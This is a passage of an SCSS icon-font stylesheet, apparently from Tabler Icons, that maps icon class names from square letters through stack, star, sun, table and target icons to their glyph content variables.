$ti-icon-square-letter-b;\n}\n\n.#{$ti-prefix}-square-letter-b-filled:before {\n  content: $ti-icon-square-letter-b-filled;\n}\n\n.#{$ti-prefix}-square-letter-c:before {\n  content: $ti-icon-square-letter-c;\n}\n\n.#{$ti-prefix}-square-letter-c-filled:before {\n  content: $ti-icon-square-letter-c-filled;\n}\n\n.#{$ti-prefix}-square-letter-d:before {\n  content: $ti-icon-square-letter-d;\n}\n\n.#{$ti-prefix}-square-letter-d-filled:before {\n  content: $ti-icon-square-letter-d-filled;\n}\n\n.#{$ti-prefix}-square-letter-e:before {\n  content: $ti-icon-square-letter-e;\n}\n\n.#{$ti-prefix}-square-letter-e-filled:before {\n  content: $ti-icon-square-letter-e-filled;\n}\n\n.#{$ti-prefix}-square-letter-f:before {\n  content: $ti-icon-square-letter-f;\n}\n\n.#{$ti-prefix}-square-letter-f-filled:before {\n  content: $ti-icon-square-letter-f-filled;\n}\n\n.#{$ti-prefix}-square-letter-g:before {\n  content: $ti-icon-square-letter-g;\n}\n\n.#{$ti-prefix}-square-letter-g-filled:before {\n  content: $ti-icon-square-letter-g-filled;\n}\n\n.#{$ti-prefix}-square-letter-h:before {\n  content: $ti-icon-square-letter-h;\n}\n\n.#{$ti-prefix}-square-letter-h-filled:before {\n  content: $ti-icon-square-letter-h-filled;\n}\n\n.#{$ti-prefix}-square-letter-i:before {\n  content: $ti-icon-square-letter-i;\n}\n\n.#{$ti-prefix}-square-letter-i-filled:before {\n  content: $ti-icon-square-letter-i-filled;\n}\n\n.#{$ti-prefix}-square-letter-j:before {\n  content: $ti-icon-square-letter-j;\n}\n\n.#{$ti-prefix}-square-letter-j-filled:before {\n  content: $ti-icon-square-letter-j-filled;\n}\n\n.#{$ti-prefix}-square-letter-k:before {\n  content: $ti-icon-square-letter-k;\n}\n\n.#{$ti-prefix}-square-letter-k-filled:before {\n  content: $ti-icon-square-letter-k-filled;\n}\n\n.#{$ti-prefix}-square-letter-l:before {\n  content: $ti-icon-square-letter-l;\n}\n\n.#{$ti-prefix}-square-letter-l-filled:before {\n  content: $ti-icon-square-letter-l-filled;\n}\n\n.#{$ti-prefix}-square-letter-m:before {\n  content: $ti-icon-square-letter-m;\n}\n\n.#{$ti-prefix}-square-letter-m-filled:before {\n  content: $ti-icon-square-letter-m-filled;\n}\n\n.#{$ti-prefix}-square-letter-n:before {\n  content: $ti-icon-square-letter-n;\n}\n\n.#{$ti-prefix}-square-letter-n-filled:before {\n  content: $ti-icon-square-letter-n-filled;\n}\n\n.#{$ti-prefix}-square-letter-o:before {\n  content: $ti-icon-square-letter-o;\n}\n\n.#{$ti-prefix}-square-letter-o-filled:before {\n  content: $ti-icon-square-letter-o-filled;\n}\n\n.#{$ti-prefix}-square-letter-p:before {\n  content: $ti-icon-square-letter-p;\n}\n\n.#{$ti-prefix}-square-letter-p-filled:before {\n  content: $ti-icon-square-letter-p-filled;\n}\n\n.#{$ti-prefix}-square-letter-q:before {\n  content: $ti-icon-square-letter-q;\n}\n\n.#{$ti-prefix}-square-letter-q-filled:before {\n  content: $ti-icon-square-letter-q-filled;\n}\n\n.#{$ti-prefix}-square-letter-r:before {\n  content: $ti-icon-square-letter-r;\n}\n\n.#{$ti-prefix}-square-letter-r-filled:before {\n  content: $ti-icon-square-letter-r-filled;\n}\n\n.#{$ti-prefix}-square-letter-s:before {\n  content: $ti-icon-square-letter-s;\n}\n\n.#{$ti-prefix}-square-letter-s-filled:before {\n  content: $ti-icon-square-letter-s-filled;\n}\n\n.#{$ti-prefix}-square-letter-t:before {\n  content: $ti-icon-square-letter-t;\n}\n\n.#{$ti-prefix}-square-letter-t-filled:before {\n  content: $ti-icon-square-letter-t-filled;\n}\n\n.#{$ti-prefix}-square-letter-u:before {\n  content: $ti-icon-square-letter-u;\n}\n\n.#{$ti-prefix}-square-letter-u-filled:before {\n  content: $ti-icon-square-letter-u-filled;\n}\n\n.#{$ti-prefix}-square-letter-v:before {\n  content: $ti-icon-square-letter-v;\n}\n\n.#{$ti-prefix}-square-letter-v-filled:before {\n  content: $ti-icon-square-letter-v-filled;\n}\n\n.#{$ti-prefix}-square-letter-w:before {\n  content: $ti-icon-square-letter-w;\n}\n\n.#{$ti-prefix}-square-letter-w-filled:before {\n  content: $ti-icon-square-letter-w-filled;\n}\n\n.#{$ti-prefix}-square-letter-x:before {\n  content: $ti-icon-square-letter-x;\n}\n\n.#{$ti-prefix}-square-letter-x-filled:before {\n  content: $ti-icon-square-letter-x-filled;\n}\n\n.#{$ti-prefix}-square-letter-y:before {\n  content: $ti-icon-square-letter-y;\n}\n\n.#{$ti-prefix}-square-letter-y-filled:before {\n  content: $ti-icon-square-letter-y-filled;\n}\n\n.#{$ti-prefix}-square-letter-z:before {\n  content: $ti-icon-square-letter-z;\n}\n\n.#{$ti-prefix}-square-letter-z-filled:before {\n  content: $ti-icon-square-letter-z-filled;\n}\n\n.#{$ti-prefix}-square-minus:before {\n  content: $ti-icon-square-minus;\n}\n\n.#{$ti-prefix}-square-minus-filled:before {\n  content: $ti-icon-square-minus-filled;\n}\n\n.#{$ti-prefix}-square-number-0:before {\n  content: $ti-icon-square-number-0;\n}\n\n.#{$ti-prefix}-square-number-0-filled:before {\n  content: $ti-icon-square-number-0-filled;\n}\n\n.#{$ti-prefix}-square-number-1:before {\n  content: $ti-icon-square-number-1;\n}\n\n.#{$ti-prefix}-square-number-1-filled:before {\n  content: $ti-icon-square-number-1-filled;\n}\n\n.#{$ti-prefix}-square-number-2:before {\n  content: $ti-icon-square-number-2;\n}\n\n.#{$ti-prefix}-square-number-2-filled:before {\n  content: $ti-icon-square-number-2-filled;\n}\n\n.#{$ti-prefix}-square-number-3:before {\n  content: $ti-icon-square-number-3;\n}\n\n.#{$ti-prefix}-square-number-3-filled:before {\n  content: $ti-icon-square-number-3-filled;\n}\n\n.#{$ti-prefix}-square-number-4:before {\n  content: $ti-icon-square-number-4;\n}\n\n.#{$ti-prefix}-square-number-4-filled:before {\n  content: $ti-icon-square-number-4-filled;\n}\n\n.#{$ti-prefix}-square-number-5:before {\n  content: $ti-icon-square-number-5;\n}\n\n.#{$ti-prefix}-square-number-5-filled:before {\n  content: $ti-icon-square-number-5-filled;\n}\n\n.#{$ti-prefix}-square-number-6:before {\n  content: $ti-icon-square-number-6;\n}\n\n.#{$ti-prefix}-square-number-6-filled:before {\n  content: $ti-icon-square-number-6-filled;\n}\n\n.#{$ti-prefix}-square-number-7:before {\n  content: $ti-icon-square-number-7;\n}\n\n.#{$ti-prefix}-square-number-7-filled:before {\n  content: $ti-icon-square-number-7-filled;\n}\n\n.#{$ti-prefix}-square-number-8:before {\n  content: $ti-icon-square-number-8;\n}\n\n.#{$ti-prefix}-square-number-8-filled:before {\n  content: $ti-icon-square-number-8-filled;\n}\n\n.#{$ti-prefix}-square-number-9:before {\n  content: $ti-icon-square-number-9;\n}\n\n.#{$ti-prefix}-square-number-9-filled:before {\n  content: $ti-icon-square-number-9-filled;\n}\n\n.#{$ti-prefix}-square-off:before {\n  content: $ti-icon-square-off;\n}\n\n.#{$ti-prefix}-square-percentage:before {\n  content: $ti-icon-square-percentage;\n}\n\n.#{$ti-prefix}-square-plus:before {\n  content: $ti-icon-square-plus;\n}\n\n.#{$ti-prefix}-square-plus-2:before {\n  content: $ti-icon-square-plus-2;\n}\n\n.#{$ti-prefix}-square-root:before {\n  content: $ti-icon-square-root;\n}\n\n.#{$ti-prefix}-square-root-2:before {\n  content: $ti-icon-square-root-2;\n}\n\n.#{$ti-prefix}-square-rotated:before {\n  content: $ti-icon-square-rotated;\n}\n\n.#{$ti-prefix}-square-rotated-filled:before {\n  content: $ti-icon-square-rotated-filled;\n}\n\n.#{$ti-prefix}-square-rotated-forbid:before {\n  content: $ti-icon-square-rotated-forbid;\n}\n\n.#{$ti-prefix}-square-rotated-forbid-2:before {\n  content: $ti-icon-square-rotated-forbid-2;\n}\n\n.#{$ti-prefix}-square-rotated-off:before {\n  content: $ti-icon-square-rotated-off;\n}\n\n.#{$ti-prefix}-square-rounded:before {\n  content: $ti-icon-square-rounded;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-down:before {\n  content: $ti-icon-square-rounded-arrow-down;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-down-filled:before {\n  content: $ti-icon-square-rounded-arrow-down-filled;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-left:before {\n  content: $ti-icon-square-rounded-arrow-left;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-left-filled:before {\n  content: $ti-icon-square-rounded-arrow-left-filled;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-right:before {\n  content: $ti-icon-square-rounded-arrow-right;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-right-filled:before {\n  content: $ti-icon-square-rounded-arrow-right-filled;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-up:before {\n  content: $ti-icon-square-rounded-arrow-up;\n}\n\n.#{$ti-prefix}-square-rounded-arrow-up-filled:before {\n  content: $ti-icon-square-rounded-arrow-up-filled;\n}\n\n.#{$ti-prefix}-square-rounded-check:before {\n  content: $ti-icon-square-rounded-check;\n}\n\n.#{$ti-prefix}-square-rounded-check-filled:before {\n  content: $ti-icon-square-rounded-check-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-down:before {\n  content: $ti-icon-square-rounded-chevron-down;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-down-filled:before {\n  content: $ti-icon-square-rounded-chevron-down-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-left:before {\n  content: $ti-icon-square-rounded-chevron-left;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-left-filled:before {\n  content: $ti-icon-square-rounded-chevron-left-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-right:before {\n  content: $ti-icon-square-rounded-chevron-right;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-right-filled:before {\n  content: $ti-icon-square-rounded-chevron-right-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-up:before {\n  content: $ti-icon-square-rounded-chevron-up;\n}\n\n.#{$ti-prefix}-square-rounded-chevron-up-filled:before {\n  content: $ti-icon-square-rounded-chevron-up-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-down:before {\n  content: $ti-icon-square-rounded-chevrons-down;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-down-filled:before {\n  content: $ti-icon-square-rounded-chevrons-down-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-left:before {\n  content: $ti-icon-square-rounded-chevrons-left;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-left-filled:before {\n  content: $ti-icon-square-rounded-chevrons-left-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-right:before {\n  content: $ti-icon-square-rounded-chevrons-right;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-right-filled:before {\n  content: $ti-icon-square-rounded-chevrons-right-filled;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-up:before {\n  content: $ti-icon-square-rounded-chevrons-up;\n}\n\n.#{$ti-prefix}-square-rounded-chevrons-up-filled:before {\n  content: $ti-icon-square-rounded-chevrons-up-filled;\n}\n\n.#{$ti-prefix}-square-rounded-filled:before {\n  content: $ti-icon-square-rounded-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-a:before {\n  content: $ti-icon-square-rounded-letter-a;\n}\n\n.#{$ti-prefix}-square-rounded-letter-a-filled:before {\n  content: $ti-icon-square-rounded-letter-a-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-b:before {\n  content: $ti-icon-square-rounded-letter-b;\n}\n\n.#{$ti-prefix}-square-rounded-letter-b-filled:before {\n  content: $ti-icon-square-rounded-letter-b-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-c:before {\n  content: $ti-icon-square-rounded-letter-c;\n}\n\n.#{$ti-prefix}-square-rounded-letter-c-filled:before {\n  content: $ti-icon-square-rounded-letter-c-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-d:before {\n  content: $ti-icon-square-rounded-letter-d;\n}\n\n.#{$ti-prefix}-square-rounded-letter-d-filled:before {\n  content: $ti-icon-square-rounded-letter-d-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-e:before {\n  content: $ti-icon-square-rounded-letter-e;\n}\n\n.#{$ti-prefix}-square-rounded-letter-e-filled:before {\n  content: $ti-icon-square-rounded-letter-e-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-f:before {\n  content: $ti-icon-square-rounded-letter-f;\n}\n\n.#{$ti-prefix}-square-rounded-letter-f-filled:before {\n  content: $ti-icon-square-rounded-letter-f-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-g:before {\n  content: $ti-icon-square-rounded-letter-g;\n}\n\n.#{$ti-prefix}-square-rounded-letter-g-filled:before {\n  content: $ti-icon-square-rounded-letter-g-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-h:before {\n  content: $ti-icon-square-rounded-letter-h;\n}\n\n.#{$ti-prefix}-square-rounded-letter-h-filled:before {\n  content: $ti-icon-square-rounded-letter-h-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-i:before {\n  content: $ti-icon-square-rounded-letter-i;\n}\n\n.#{$ti-prefix}-square-rounded-letter-i-filled:before {\n  content: $ti-icon-square-rounded-letter-i-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-j:before {\n  content: $ti-icon-square-rounded-letter-j;\n}\n\n.#{$ti-prefix}-square-rounded-letter-j-filled:before {\n  content: $ti-icon-square-rounded-letter-j-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-k:before {\n  content: $ti-icon-square-rounded-letter-k;\n}\n\n.#{$ti-prefix}-square-rounded-letter-k-filled:before {\n  content: $ti-icon-square-rounded-letter-k-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-l:before {\n  content: $ti-icon-square-rounded-letter-l;\n}\n\n.#{$ti-prefix}-square-rounded-letter-l-filled:before {\n  content: $ti-icon-square-rounded-letter-l-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-m:before {\n  content: $ti-icon-square-rounded-letter-m;\n}\n\n.#{$ti-prefix}-square-rounded-letter-m-filled:before {\n  content: $ti-icon-square-rounded-letter-m-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-n:before {\n  content: $ti-icon-square-rounded-letter-n;\n}\n\n.#{$ti-prefix}-square-rounded-letter-n-filled:before {\n  content: $ti-icon-square-rounded-letter-n-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-o:before {\n  content: $ti-icon-square-rounded-letter-o;\n}\n\n.#{$ti-prefix}-square-rounded-letter-o-filled:before {\n  content: $ti-icon-square-rounded-letter-o-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-p:before {\n  content: $ti-icon-square-rounded-letter-p;\n}\n\n.#{$ti-prefix}-square-rounded-letter-p-filled:before {\n  content: $ti-icon-square-rounded-letter-p-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-q:before {\n  content: $ti-icon-square-rounded-letter-q;\n}\n\n.#{$ti-prefix}-square-rounded-letter-q-filled:before {\n  content: $ti-icon-square-rounded-letter-q-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-r:before {\n  content: $ti-icon-square-rounded-letter-r;\n}\n\n.#{$ti-prefix}-square-rounded-letter-r-filled:before {\n  content: $ti-icon-square-rounded-letter-r-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-s:before {\n  content: $ti-icon-square-rounded-letter-s;\n}\n\n.#{$ti-prefix}-square-rounded-letter-s-filled:before {\n  content: $ti-icon-square-rounded-letter-s-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-t:before {\n  content: $ti-icon-square-rounded-letter-t;\n}\n\n.#{$ti-prefix}-square-rounded-letter-t-filled:before {\n  content: $ti-icon-square-rounded-letter-t-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-u:before {\n  content: $ti-icon-square-rounded-letter-u;\n}\n\n.#{$ti-prefix}-square-rounded-letter-u-filled:before {\n  content: $ti-icon-square-rounded-letter-u-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-v:before {\n  content: $ti-icon-square-rounded-letter-v;\n}\n\n.#{$ti-prefix}-square-rounded-letter-v-filled:before {\n  content: $ti-icon-square-rounded-letter-v-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-w:before {\n  content: $ti-icon-square-rounded-letter-w;\n}\n\n.#{$ti-prefix}-square-rounded-letter-w-filled:before {\n  content: $ti-icon-square-rounded-letter-w-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-x:before {\n  content: $ti-icon-square-rounded-letter-x;\n}\n\n.#{$ti-prefix}-square-rounded-letter-x-filled:before {\n  content: $ti-icon-square-rounded-letter-x-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-y:before {\n  content: $ti-icon-square-rounded-letter-y;\n}\n\n.#{$ti-prefix}-square-rounded-letter-y-filled:before {\n  content: $ti-icon-square-rounded-letter-y-filled;\n}\n\n.#{$ti-prefix}-square-rounded-letter-z:before {\n  content: $ti-icon-square-rounded-letter-z;\n}\n\n.#{$ti-prefix}-square-rounded-letter-z-filled:before {\n  content: $ti-icon-square-rounded-letter-z-filled;\n}\n\n.#{$ti-prefix}-square-rounded-minus:before {\n  content: $ti-icon-square-rounded-minus;\n}\n\n.#{$ti-prefix}-square-rounded-minus-2:before {\n  content: $ti-icon-square-rounded-minus-2;\n}\n\n.#{$ti-prefix}-square-rounded-minus-filled:before {\n  content: $ti-icon-square-rounded-minus-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-0:before {\n  content: $ti-icon-square-rounded-number-0;\n}\n\n.#{$ti-prefix}-square-rounded-number-0-filled:before {\n  content: $ti-icon-square-rounded-number-0-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-1:before {\n  content: $ti-icon-square-rounded-number-1;\n}\n\n.#{$ti-prefix}-square-rounded-number-1-filled:before {\n  content: $ti-icon-square-rounded-number-1-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-2:before {\n  content: $ti-icon-square-rounded-number-2;\n}\n\n.#{$ti-prefix}-square-rounded-number-2-filled:before {\n  content: $ti-icon-square-rounded-number-2-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-3:before {\n  content: $ti-icon-square-rounded-number-3;\n}\n\n.#{$ti-prefix}-square-rounded-number-3-filled:before {\n  content: $ti-icon-square-rounded-number-3-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-4:before {\n  content: $ti-icon-square-rounded-number-4;\n}\n\n.#{$ti-prefix}-square-rounded-number-4-filled:before {\n  content: $ti-icon-square-rounded-number-4-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-5:before {\n  content: $ti-icon-square-rounded-number-5;\n}\n\n.#{$ti-prefix}-square-rounded-number-5-filled:before {\n  content: $ti-icon-square-rounded-number-5-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-6:before {\n  content: $ti-icon-square-rounded-number-6;\n}\n\n.#{$ti-prefix}-square-rounded-number-6-filled:before {\n  content: $ti-icon-square-rounded-number-6-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-7:before {\n  content: $ti-icon-square-rounded-number-7;\n}\n\n.#{$ti-prefix}-square-rounded-number-7-filled:before {\n  content: $ti-icon-square-rounded-number-7-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-8:before {\n  content: $ti-icon-square-rounded-number-8;\n}\n\n.#{$ti-prefix}-square-rounded-number-8-filled:before {\n  content: $ti-icon-square-rounded-number-8-filled;\n}\n\n.#{$ti-prefix}-square-rounded-number-9:before {\n  content: $ti-icon-square-rounded-number-9;\n}\n\n.#{$ti-prefix}-square-rounded-number-9-filled:before {\n  content: $ti-icon-square-rounded-number-9-filled;\n}\n\n.#{$ti-prefix}-square-rounded-percentage:before {\n  content: $ti-icon-square-rounded-percentage;\n}\n\n.#{$ti-prefix}-square-rounded-plus:before {\n  content: $ti-icon-square-rounded-plus;\n}\n\n.#{$ti-prefix}-square-rounded-plus-2:before {\n  content: $ti-icon-square-rounded-plus-2;\n}\n\n.#{$ti-prefix}-square-rounded-plus-filled:before {\n  content: $ti-icon-square-rounded-plus-filled;\n}\n\n.#{$ti-prefix}-square-rounded-x:before {\n  content: $ti-icon-square-rounded-x;\n}\n\n.#{$ti-prefix}-square-rounded-x-filled:before {\n  content: $ti-icon-square-rounded-x-filled;\n}\n\n.#{$ti-prefix}-square-toggle:before {\n  content: $ti-icon-square-toggle;\n}\n\n.#{$ti-prefix}-square-toggle-horizontal:before {\n  content: $ti-icon-square-toggle-horizontal;\n}\n\n.#{$ti-prefix}-square-x:before {\n  content: $ti-icon-square-x;\n}\n\n.#{$ti-prefix}-square-x-filled:before {\n  content: $ti-icon-square-x-filled;\n}\n\n.#{$ti-prefix}-squares:before {\n  content: $ti-icon-squares;\n}\n\n.#{$ti-prefix}-squares-diagonal:before {\n  content: $ti-icon-squares-diagonal;\n}\n\n.#{$ti-prefix}-squares-filled:before {\n  content: $ti-icon-squares-filled;\n}\n\n.#{$ti-prefix}-stack:before {\n  content: $ti-icon-stack;\n}\n\n.#{$ti-prefix}-stack-2:before {\n  content: $ti-icon-stack-2;\n}\n\n.#{$ti-prefix}-stack-2-filled:before {\n  content: $ti-icon-stack-2-filled;\n}\n\n.#{$ti-prefix}-stack-3:before {\n  content: $ti-icon-stack-3;\n}\n\n.#{$ti-prefix}-stack-3-filled:before {\n  content: $ti-icon-stack-3-filled;\n}\n\n.#{$ti-prefix}-stack-back:before {\n  content: $ti-icon-stack-back;\n}\n\n.#{$ti-prefix}-stack-backward:before {\n  content: $ti-icon-stack-backward;\n}\n\n.#{$ti-prefix}-stack-filled:before {\n  content: $ti-icon-stack-filled;\n}\n\n.#{$ti-prefix}-stack-forward:before {\n  content: $ti-icon-stack-forward;\n}\n\n.#{$ti-prefix}-stack-front:before {\n  content: $ti-icon-stack-front;\n}\n\n.#{$ti-prefix}-stack-middle:before {\n  content: $ti-icon-stack-middle;\n}\n\n.#{$ti-prefix}-stack-pop:before {\n  content: $ti-icon-stack-pop;\n}\n\n.#{$ti-prefix}-stack-push:before {\n  content: $ti-icon-stack-push;\n}\n\n.#{$ti-prefix}-stairs:before {\n  content: $ti-icon-stairs;\n}\n\n.#{$ti-prefix}-stairs-down:before {\n  content: $ti-icon-stairs-down;\n}\n\n.#{$ti-prefix}-stairs-up:before {\n  content: $ti-icon-stairs-up;\n}\n\n.#{$ti-prefix}-star:before {\n  content: $ti-icon-star;\n}\n\n.#{$ti-prefix}-star-filled:before {\n  content: $ti-icon-star-filled;\n}\n\n.#{$ti-prefix}-star-half:before {\n  content: $ti-icon-star-half;\n}\n\n.#{$ti-prefix}-star-half-filled:before {\n  content: $ti-icon-star-half-filled;\n}\n\n.#{$ti-prefix}-star-off:before {\n  content: $ti-icon-star-off;\n}\n\n.#{$ti-prefix}-stars:before {\n  content: $ti-icon-stars;\n}\n\n.#{$ti-prefix}-stars-filled:before {\n  content: $ti-icon-stars-filled;\n}\n\n.#{$ti-prefix}-stars-off:before {\n  content: $ti-icon-stars-off;\n}\n\n.#{$ti-prefix}-status-change:before {\n  content: $ti-icon-status-change;\n}\n\n.#{$ti-prefix}-steam:before {\n  content: $ti-icon-steam;\n}\n\n.#{$ti-prefix}-steering-wheel:before {\n  content: $ti-icon-steering-wheel;\n}\n\n.#{$ti-prefix}-steering-wheel-off:before {\n  content: $ti-icon-steering-wheel-off;\n}\n\n.#{$ti-prefix}-step-into:before {\n  content: $ti-icon-step-into;\n}\n\n.#{$ti-prefix}-step-out:before {\n  content: $ti-icon-step-out;\n}\n\n.#{$ti-prefix}-stereo-glasses:before {\n  content: $ti-icon-stereo-glasses;\n}\n\n.#{$ti-prefix}-stethoscope:before {\n  content: $ti-icon-stethoscope;\n}\n\n.#{$ti-prefix}-stethoscope-off:before {\n  content: $ti-icon-stethoscope-off;\n}\n\n.#{$ti-prefix}-sticker:before {\n  content: $ti-icon-sticker;\n}\n\n.#{$ti-prefix}-sticker-2:before {\n  content: $ti-icon-sticker-2;\n}\n\n.#{$ti-prefix}-storm:before {\n  content: $ti-icon-storm;\n}\n\n.#{$ti-prefix}-storm-off:before {\n  content: $ti-icon-storm-off;\n}\n\n.#{$ti-prefix}-stretching:before {\n  content: $ti-icon-stretching;\n}\n\n.#{$ti-prefix}-stretching-2:before {\n  content: $ti-icon-stretching-2;\n}\n\n.#{$ti-prefix}-strikethrough:before {\n  content: $ti-icon-strikethrough;\n}\n\n.#{$ti-prefix}-submarine:before {\n  content: $ti-icon-submarine;\n}\n\n.#{$ti-prefix}-subscript:before {\n  content: $ti-icon-subscript;\n}\n\n.#{$ti-prefix}-subtask:before {\n  content: $ti-icon-subtask;\n}\n\n.#{$ti-prefix}-sum:before {\n  content: $ti-icon-sum;\n}\n\n.#{$ti-prefix}-sum-off:before {\n  content: $ti-icon-sum-off;\n}\n\n.#{$ti-prefix}-sun:before {\n  content: $ti-icon-sun;\n}\n\n.#{$ti-prefix}-sun-electricity:before {\n  content: $ti-icon-sun-electricity;\n}\n\n.#{$ti-prefix}-sun-filled:before {\n  content: $ti-icon-sun-filled;\n}\n\n.#{$ti-prefix}-sun-high:before {\n  content: $ti-icon-sun-high;\n}\n\n.#{$ti-prefix}-sun-low:before {\n  content: $ti-icon-sun-low;\n}\n\n.#{$ti-prefix}-sun-moon:before {\n  content: $ti-icon-sun-moon;\n}\n\n.#{$ti-prefix}-sun-off:before {\n  content: $ti-icon-sun-off;\n}\n\n.#{$ti-prefix}-sun-wind:before {\n  content: $ti-icon-sun-wind;\n}\n\n.#{$ti-prefix}-sunglasses:before {\n  content: $ti-icon-sunglasses;\n}\n\n.#{$ti-prefix}-sunrise:before {\n  content: $ti-icon-sunrise;\n}\n\n.#{$ti-prefix}-sunset:before {\n  content: $ti-icon-sunset;\n}\n\n.#{$ti-prefix}-sunset-2:before {\n  content: $ti-icon-sunset-2;\n}\n\n.#{$ti-prefix}-superscript:before {\n  content: $ti-icon-superscript;\n}\n\n.#{$ti-prefix}-svg:before {\n  content: $ti-icon-svg;\n}\n\n.#{$ti-prefix}-swimming:before {\n  content: $ti-icon-swimming;\n}\n\n.#{$ti-prefix}-swipe:before {\n  content: $ti-icon-swipe;\n}\n\n.#{$ti-prefix}-swipe-down:before {\n  content: $ti-icon-swipe-down;\n}\n\n.#{$ti-prefix}-swipe-left:before {\n  content: $ti-icon-swipe-left;\n}\n\n.#{$ti-prefix}-swipe-right:before {\n  content: $ti-icon-swipe-right;\n}\n\n.#{$ti-prefix}-swipe-up:before {\n  content: $ti-icon-swipe-up;\n}\n\n.#{$ti-prefix}-switch:before {\n  content: $ti-icon-switch;\n}\n\n.#{$ti-prefix}-switch-2:before {\n  content: $ti-icon-switch-2;\n}\n\n.#{$ti-prefix}-switch-3:before {\n  content: $ti-icon-switch-3;\n}\n\n.#{$ti-prefix}-switch-horizontal:before {\n  content: $ti-icon-switch-horizontal;\n}\n\n.#{$ti-prefix}-switch-vertical:before {\n  content: $ti-icon-switch-vertical;\n}\n\n.#{$ti-prefix}-sword:before {\n  content: $ti-icon-sword;\n}\n\n.#{$ti-prefix}-sword-off:before {\n  content: $ti-icon-sword-off;\n}\n\n.#{$ti-prefix}-swords:before {\n  content: $ti-icon-swords;\n}\n\n.#{$ti-prefix}-table:before {\n  content: $ti-icon-table;\n}\n\n.#{$ti-prefix}-table-alias:before {\n  content: $ti-icon-table-alias;\n}\n\n.#{$ti-prefix}-table-column:before {\n  content: $ti-icon-table-column;\n}\n\n.#{$ti-prefix}-table-down:before {\n  content: $ti-icon-table-down;\n}\n\n.#{$ti-prefix}-table-export:before {\n  content: $ti-icon-table-export;\n}\n\n.#{$ti-prefix}-table-filled:before {\n  content: $ti-icon-table-filled;\n}\n\n.#{$ti-prefix}-table-heart:before {\n  content: $ti-icon-table-heart;\n}\n\n.#{$ti-prefix}-table-import:before {\n  content: $ti-icon-table-import;\n}\n\n.#{$ti-prefix}-table-minus:before {\n  content: $ti-icon-table-minus;\n}\n\n.#{$ti-prefix}-table-off:before {\n  content: $ti-icon-table-off;\n}\n\n.#{$ti-prefix}-table-options:before {\n  content: $ti-icon-table-options;\n}\n\n.#{$ti-prefix}-table-plus:before {\n  content: $ti-icon-table-plus;\n}\n\n.#{$ti-prefix}-table-row:before {\n  content: $ti-icon-table-row;\n}\n\n.#{$ti-prefix}-table-share:before {\n  content: $ti-icon-table-share;\n}\n\n.#{$ti-prefix}-table-shortcut:before {\n  content: $ti-icon-table-shortcut;\n}\n\n.#{$ti-prefix}-tag:before {\n  content: $ti-icon-tag;\n}\n\n.#{$ti-prefix}-tag-off:before {\n  content: $ti-icon-tag-off;\n}\n\n.#{$ti-prefix}-tag-starred:before {\n  content: $ti-icon-tag-starred;\n}\n\n.#{$ti-prefix}-tags:before {\n  content: $ti-icon-tags;\n}\n\n.#{$ti-prefix}-tags-off:before {\n  content: $ti-icon-tags-off;\n}\n\n.#{$ti-prefix}-tallymark-1:before {\n  content: $ti-icon-tallymark-1;\n}\n\n.#{$ti-prefix}-tallymark-2:before {\n  content: $ti-icon-tallymark-2;\n}\n\n.#{$ti-prefix}-tallymark-3:before {\n  content: $ti-icon-tallymark-3;\n}\n\n.#{$ti-prefix}-tallymark-4:before {\n  content: $ti-icon-tallymark-4;\n}\n\n.#{$ti-prefix}-tallymarks:before {\n  content: $ti-icon-tallymarks;\n}\n\n.#{$ti-prefix}-tank:before {\n  content: $ti-icon-tank;\n}\n\n.#{$ti-prefix}-target:before {\n  content: $ti-icon-target;\n}\n\n.#{$ti-prefix}-target-arrow:before {\n  content: 